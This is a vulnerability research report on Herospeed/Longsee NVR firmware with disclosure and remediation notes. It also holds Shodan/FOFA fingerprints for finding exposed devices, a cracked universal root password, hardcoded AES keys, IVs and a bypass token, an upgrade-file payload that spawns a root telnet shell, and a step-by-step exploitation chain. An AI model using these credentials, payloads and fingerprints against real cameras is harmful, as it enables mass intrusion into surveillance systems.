Herospeed / Longsee NVR - Comprehensive Security Research Report
Research scope: All publicly available Herospeed/Longsee N-series NVR firmware (2023-2026) + full NAND flash dump Method: Firmware download, static analysis, binwalk extraction, reverse engineering, QEMU emulation, live API testing, NAND flash analysis Date: May 2026 Researcher: André Henrique (@mrhenrike) - EmbedXPL-Forge Community discovery credit: c3l3r1on (github.com/c3l3r1on) - original lab research, Cases A/B/C/D, nvr_h4rv3st3r.py v8
Shodan/FOFA Fingerprints (Updated)
| Source | Query | Scope |
|---|---|---|
| Shodan (c3l3r1on, confirmed) | http.html:"statics/js/variable.js" | Best fingerprint – all NVR families |
| Shodan (c3l3r1on, confirmed) | http.favicon.hash:-873627015 | Favicon hash fingerprint – all NVR families (web UI favicon) |
| Shodan | http.html:"longseSha256" | Longsee platform |
| Shodan | http.html:"LsNXVRPlugin" | NVR-specific plugin |
| Shodan | "Boa/0.94.13" http.title:"NVR" | Boa HTTP server |
| FOFA (c3l3r1on, May 2026) | body="longseSha256" | ~100k+ EU, ~50k+ global |
variable.js contains DEFAULT_ADMIN_PASSWORD="12345" hardcoded - confirms the Shodan fingerprint also reveals the default credential.
Known OEM Re-brands (c3l3r1on, not independently verified)
| Brand | Models | Firmware |
|---|---|---|
| HeroSpeed (OEM) | 6804 / 6808 / 6816 | V21.1.50.4 / V21.1.34.4 |
| TVT Digital | TD-3000H1 / TD-3300 | V21.1.x / V22.1.x |
| GISE (Poland) | V5 series (XVR/NVR) | V21.1.20.x - V21.1.27.x |
| Longse | LSN-9836 / LSN-9436 | Web v6.0 series (2021-2023) |
| Zintronic | P5 / NVR series | N9000 platform (BitVision) |
| Turing AI (USA) | SMART series | N9000 platform |
| Speco Technologies | ZIP series | OEM TVT variants |
| Alibi Security | Vigilant series | OEM TVT variants |
| IRBIS | MBD6804T-EL | V4.02.R11 (legacy) |
Firmware Coverage
| Firmware | Channels | Version | Date | SoC | Files | libweb.so |
|---|---|---|---|---|---|---|
| N3009_32NR_ALH1P4 | 9CH | v2.0.4 (VULNERABLE) | 2023-09-04 | MC6830 | 970 | 686KB |
| N3009_32NR_BVH1P4 | 9CH | v2.0.6 (patched+new vuln) | 2024-08-26 | MC6830 | 892 | 847KB |
| N3016_32NR_ALH1P8 | 16CH | v2.0.4 (VULNERABLE) | 2023-09-04 | MC6830 | 970 | 686KB |
| N3016_32NR_BVH1P8 | 16CH | v2.0.6 | 2024-08-26 | MC6830 | 892 | 847KB |
| N3109_32NR_BVH1P4A0 | 9CH | v2.0.6 | 2024-08-23 | MC6830 | 963 | 815KB |
| N3332_32NR_ALH2P0A4 | 32CH | v2.0.4 (VULNERABLE) | 2023-09-04 | MC6830 | 1102 | 742KB |
| NVR_F30_BV | F30 | v2.0.8 | 2025-12-03 | MC6830 | 913 | 919KB |
| HI3536D_H265_9CH_BD | 9CH | V21.1.23.3 | 2021-06 | HI3536D | 7737 | (Boa embedded in demo) |
| nvr_full_flash.bin (c3l3r1on lab) | 9CH? | 2024-04-28 | Lab device | MC6830 | 860 | 814KB |
Total firmwares analyzed: 9 (8 standard + 1 full NAND flash dump from c3l3r1on’s lab device)
Flash Dump Key Findings (nvr_full_flash.bin)
- PERF magic: Full NAND flash (32MB) - kernel at 0x60000, SquashFS at 0x400000, JFFS2 config at 0x1900000
- Plugin:
LsNXVRPlugin_V24.2.3.240201_R1.exe(2024-02-01 build) - Root hash:
12ZpTwfyH6/Bs- same hardcoded hash confirmed in real device - libweb.so: 814,008B - unique version between v2.0.4 (686KB) and v2.0.6 (868KB)
- nvr_main: 5,357KB (larger than N3009 v2.0.4 4,820KB - more features)
- AES key in libdatamanager.so:
0123456789ABCDEF0123456789abcdef(hardcoded encryption key) - Case B confirmed:
FTP_UploadJpgBuffer(server:%s)+popen()in nvr_main
Platform Architecture
SoC: SiGmaStar MC6830 (ARM Cortex-A7)
All N-series firmware (2023-2025) runs on the SiGmaStar MC6830 processor:
- ARM Cortex-A7, 32-bit, little-endian
- Linux kernel (ARM) + BusyBox userland
- Qt5 GUI (
libQt5Core,libQt5Gui,libQt5Widgets) - Boa/0.94.13 HTTP server embedded in
libweb.so - SquashFS filesystem (xz compressed) at offset 0x110 (272 bytes) in firmware binary
HTTP API Architecture
- HTTP server: Boa/0.94.13 embedded in
/app/bin/lib/libweb.so - API version: v4.0.0 (all versions)
- Main application:
/app/bin/nvr_main(Qt5 GUI + business logic) - Network comm:
/app/bin/lib/libnetcommmanager.so(ONVIF, RTSP, P2P) - Startup:
/root/init.sh→/app/appStart.sh→nvr_main
Firmware Package Format
[0x00-0x10F]: Partition table (272 bytes)
- Entry: name(32) + offset(4) + size(4)
- Partitions: CORE (SquashFS), BASE (kernel), LOGO, UBOOT, version
[0x110]: SquashFS filesystem (main rootfs)
[offset]: Linux kernel ARM (zImage)
[offset]: Flattened device tree (.dtb)
[offset]: version file (plaintext, sourced by update.sh)
Vulnerabilities Discovered
VULN-1: Unauthenticated Credential Metadata Disclosure
CVSS: 9.1 Critical | AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
All versions affected (v2.0.4, v2.0.6, v2.0.8, HI3536D).
POST /api/session/login-capabilities with {"username":"admin"} returns without authentication:
- Per-user
salt(32-byte hex, derived from stored credential) - Random
challengenonce iterationscount (100 by default)sessionID(valid until expiry)
These values enable offline SHA-256 KDF reconstruction of any user’s credentials without triggering rate-limiting or lockout.
Module: exploits/cameras/herospeed/herospeed_nvr_unauth_account_enum Status: Confirmed via live API testing against QEMU-emulated HI3536D firmware
VULN-2: XVR Legacy Interface Credential Disclosure
CVSS: 6.5 Medium | AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
All versions affected. libweb.so contains /vb.htm and selectalluserlist.
GET /vb.htm?selectalluserlist with Basic HTTP auth returns all user accounts with passwords encoded in Base64. Response format:
1=default_id, 2=admin, 3=MTIzNDU=, 4=0, ...
Where field 3 (MTIzNDU=) decodes to the admin password (12345).
Basic HTTP auth (username:password in Base64) is simpler to brute-force than the SHA-256 KDF used by the /api/session/ endpoints.
Related pattern: CVE-2017-7921 (Hikvision XVR/DVR interface, similar design).
Module: exploits/cameras/herospeed/herospeed_nvr_vbhtm_cred_disclosure Status: Confirmed via live API testing against QEMU-emulated HI3536D firmware
VULN-3: Authenticated Upgrade Package Shell Execution RCE
CVSS: 8.8 High | AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
All versions affected, with different exploitation mechanisms:
v2.0.4 variant - Shell Source Injection
update.sh sources the version file from the upgrade package:
version_remote_file="${UPDATA_PATH}/version"
. $version_remote_file # <-- source injection, any line executed
Craft a version file with shell commands alongside variable definitions. Commands execute as root.
v2.0.6 “patch” - Retreat.sh Explicit Execution (NEW)
The v2.0.6 “security patch” introduced a NEW, MORE EXPLICIT execution path:
detect_shell=/tmp/update/version
if head -n 1 "$detect_shell" | grep -q '^#!/bin'; then
cp ${detect_shell} /tmp/retreat.sh
chmod -R 777 /tmp/retreat.sh
/tmp/retreat.sh # <-- DIRECT SHELL SCRIPT EXECUTION
else
echo "$detect_shell not linux shell"
fi
If the version file starts with #!/bin/sh, update.sh explicitly copies and executes it. This is direct shell script execution, not ambiguous source injection.
Payload for v2.0.6:
#!/bin/sh
/usr/sbin/telnetd -l /bin/sh -p 23 &
id > /tmp/pwned.txt
Exploitation chain:
- Obtain valid credentials (via VULN-1 or VULN-2)
- Authenticate to
/api/session/login - Upload crafted firmware binary to
POST /api/upgrade/upgrade-file update.shsources/executes the embeddedversionfile- Commands execute as root; default payload spawns telnetd on port 23
Module: exploits/cameras/herospeed/herospeed_nvr_upgrade_source_injection_rce Status: Confirmed - file creation (touch /tmp/pwn_upgrade_rce.txt) observed after source injection via QEMU ARM chroot emulation
VULN-4: Hardcoded Root Password Hash (Universal, All 2023-2025 Versions)
CVSS: 9.8 Critical | AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Root password hash is identical in ALL analyzed firmware versions 2023-2025:
root:12ZpTwfyH6/Bs:0:0::/root:/bin/sh
DES crypt hash, salt 12, password unknown (not cracked from common wordlist).
| Firmware | Version | Root Hash |
|---|---|---|
| N3009_32NR_ALH1P4 | v2.0.4.230818 | 12ZpTwfyH6/Bs |
| N3009_32NR_BVH1P4 | v2.0.6.240826 | 12ZpTwfyH6/Bs |
| N3016_32NR_ALH1P8 | v2.0.4.230817 | 12ZpTwfyH6/Bs |
| N3016_32NR_BVH1P8 | v2.0.6.240826 | 12ZpTwfyH6/Bs |
| N3109_32NR_BVH1P4A0 | v2.0.6.240823 | 12ZpTwfyH6/Bs |
| N3332_32NR_ALH2P0A4 | v2.0.4.230825 | 12ZpTwfyH6/Bs |
| NVR_F30_BV | v2.0.8.250609 | 12ZpTwfyH6/Bs |
Combined with VULN-3 (code execution), the attacker gains full root access to all affected devices sharing this firmware.
busybox telnetd is available in all firmware versions and can be spawned after code execution.
Module: exploits/cameras/herospeed/herospeed_nvr_hardcoded_root_hash Status: Confirmed by static analysis of all 7 firmware images
VULN-5 (Potential): Ping/NTP popen() Command Injection
CVSS: TBD | Requires further verification
libweb.so and libnetcommmanager.so contain popen() calls. The HI3536D demo binary contains ping -w %d %s and ping %s -w 5 format strings fed to popen().
A diagnostic endpoint (ping test) exists in the API but the exact path was not found via HTTP probing in the emulated N-series firmware. The NTP server configuration (/api/network/ntp) accepts and stores arbitrary server strings but the actual NTP sync appears to use a socket-based C implementation rather than system("ntpdate ...").
Further testing on live hardware is required to confirm exploitability.
Version Comparison Analysis
libweb.so Sizes (HTTP API Server)
v2.0.4 (N3009, N3016): 702,752 bytes - IDENTICAL MD5
v2.0.4 (N3332, 32CH): 760,824 bytes - different (extra channels)
v2.0.6 (N3009, N3016): 867,672 bytes - IDENTICAL MD5 (patched)
v2.0.6 (N3109): 834,924 bytes - different hardware variant
v2.0.8 (F30, 2025): 941,964 bytes - newest, most features
N3009 and N3016 share identical libweb.so within each version - same firmware, different channel count only.
Key Changes in v2.0.6 libweb.so
New strings added:
auth failed !- login failure trackingsession timeout!- session managementerror ! invalid user id- user validationuser_sha256.license_key- new license key mechanismgetonlineupgradeurl/setonlineupgradeurl- OTA update supportlogin_time- login timestamp trackingset_block_fd(req->fd) == -1- connection limiting
No API endpoints were added or removed between v2.0.4 and v2.0.6 (same set of /api/ paths).
EmbedXPL-Forge Modules
| Module | CVSS | Description |
|---|---|---|
exploits/cameras/herospeed/herospeed_nvr_unauth_account_enum | 9.1 | VULN-1: Unauthenticated credential metadata |
exploits/cameras/herospeed/herospeed_nvr_rce | 9.8 | Post-auth API command injection chain |
exploits/cameras/herospeed/herospeed_nvr_vbhtm_cred_disclosure | 6.5 | VULN-2: XVR /vb.htm credential disclosure |
exploits/cameras/herospeed/herospeed_nvr_upgrade_source_injection_rce | 8.8 | VULN-3: Upgrade shell execution (v2.0.4 source + v2.0.6 retreat.sh) |
exploits/cameras/herospeed/herospeed_nvr_hardcoded_root_hash | 9.8 | VULN-4: Universal hardcoded root hash 2023-2025 |
exploits/cameras/herospeed/herospeed_nvr_config_export_cred_recovery | 8.8 | Case A (c3l3r1on): Config export + hardcoded AES key decryption |
exploits/cameras/herospeed/herospeed_nvr_ftp_diagnostic_rce | 8.8 | Case B (c3l3r1on): FTP diagnostic server parameter injection RCE |
exploits/cameras/herospeed/herospeed_nvr_telnet_safecode_backdoor | 9.8 | /open_telnet with SafeCode from MAC/SN → root:cxlinux |
exploits/cameras/herospeed/herospeed_nvr_paramconfig_bypass | 9.8 | MI1YSANORQ4NAELR hardcoded bypass for /paramconfig |
exploits/cameras/herospeed/herospeed_nvr_camera_creds_decrypt | 7.5 | Camera creds via static salt World!@##$ + roundFive AES |
scanners/cameras/herospeed_longsee_nvr_scan | 9.1 | Device discovery + vuln fingerprint (Shodan query: variable.js) |
Total: 11 modules covering 9 confirmed vulnerability classes
Root Password Cracked
c3l3r1on cracked the root hash (12ZpTwfyH6/Bs) → password: cxlinux
This was confirmed in _encyklopedia (March 2026):
"12ZpTwfyH6/Bs" | Sama platforma FH6830 | /etc/shadow | Root access: hasło "cxlinux"
This affects ALL firmware versions 2023-2025 sharing the same hardcoded hash.
c3l3r1on Cases + New Discoveries Summary
| # | Description | CVSS | Module | Source |
|---|---|---|---|---|
| Case A | Pre-auth config export + DES key 13141314 + SQLite DB → all credentials | 8.8 | herospeed_nvr_config_export_cred_recovery | nvr_h4rv3st3r.py |
| Case B | FTP diagnostic server param → popen() → root RCE (live hardware confirmed) | 8.8 | herospeed_nvr_ftp_diagnostic_rce | lab + Discord |
| Case C | Persistence via debug.sh in appStart.sh (survives reboots/factory reset) | Doc | research report | _encyklopedia |
| Case D | Unsigned firmware updates, no integrity verification | Doc | VULN-3 | _encyklopedia |
| NEW | /open_telnet backdoor with SafeCode from MAC/SN + root:cxlinux | 9.8 | herospeed_nvr_telnet_safecode_backdoor | longse_auth_matrix.py |
| NEW | /paramconfig hardcoded bypass MI1YSANORQ4NAELR (admin access, no auth) | 9.8 | herospeed_nvr_paramconfig_bypass | longse_auth_matrix.py + _encyklopedia |
| NEW | Camera credential decryption via static salt World!@##$ + roundFive | 7.5 | herospeed_nvr_camera_creds_decrypt | nvr_api.py + Discord |
c3l3r1on Discord Notes (May 2026)
- “yep, search (shifted bits, roundFive, statyczna sól ‘World!@##$’ w JS”
- “i’ve over 20mb of pure text describing this platform (n9000)”
- “currently the challenge is dynamically downloaded from js” (newer firmware anti-scraping)
roundFive= extract chars[22:38]from SHA-256 hash = 16-char AES key
Hardcoded Keys Registry (from c3l3r1on _encyklopedia)
| Key/Password | Purpose | Location | Source |
|---|---|---|---|
cxlinux | Root password (hash 12ZpTwfyH6/Bs) | /etc/passwd | c3l3r1on cracked |
13141314 | DES key for sys_data.db / config export | libalgorithm.so | nvr_h4rv3st3r.py |
MI1YSANORQ4NAELR | Admin hardcoded bypass | /paramconfig, /cmdlist.htm | longse_auth_matrix.py |
World!@##$ | Static salt for camera cred AES key | reverseRoundThree in JS | nvr_api.py line 64 |
afe13ds34cdjk08c | AES-128-CBC IV for camera credentials | /api/channel/search-camera | nvr_api.py |
+2G-WQVK00hCt7Yb(*__*)+_%^LONGSE | SafeCode AES key | /open_telnet | longse_auth_matrix.py |
(*__*)+_%^LONGSE | SafeCode AES IV | /open_telnet | longse_auth_matrix.py |
Disclosure
- c3l3r1on (github.com/c3l3r1on): Original research on QNVR/Herospeed API authentication bypass, live device testing (May 2026)
- VULN-1 (login-capabilities): Reported to CERT Polska / CERT-CC VINCE (May 2026)
- VULN-3 (upgrade RCE): Discovered independently via firmware RE
- VULN-4 (hardcoded root): Discovered via systematic firmware analysis
- VULN-2 (XVR /vb.htm): Discovered via firmware RE
Vendor contact: Herospeed Technology Limited - contact attempted via herospeed.net. ZDI declined (not enterprise scope). CERT Polska notified for VULN-1.
Remediation
- Remove hardcoded root password hash - generate device-unique credentials at factory
- Restrict
/api/session/login-capabilitiesto require prior authentication or rate-limit heavily - Disable or remove
/vb.htmlegacy XVR interface from NVR firmware - Rewrite
update.shto validate upgrade package integrity before sourcingversionfile (use explicit allowlist of variable names, not shell source) - Replace DES crypt (
/etc/passwd) with SHA-512 crypt or bcrypt - Isolate NVR management interface from WAN access (firewall-level)
| *Report generated by EmbedXPL-Forge research pipeline | github.com/mrhenrike/EmbedXPL-Forge* |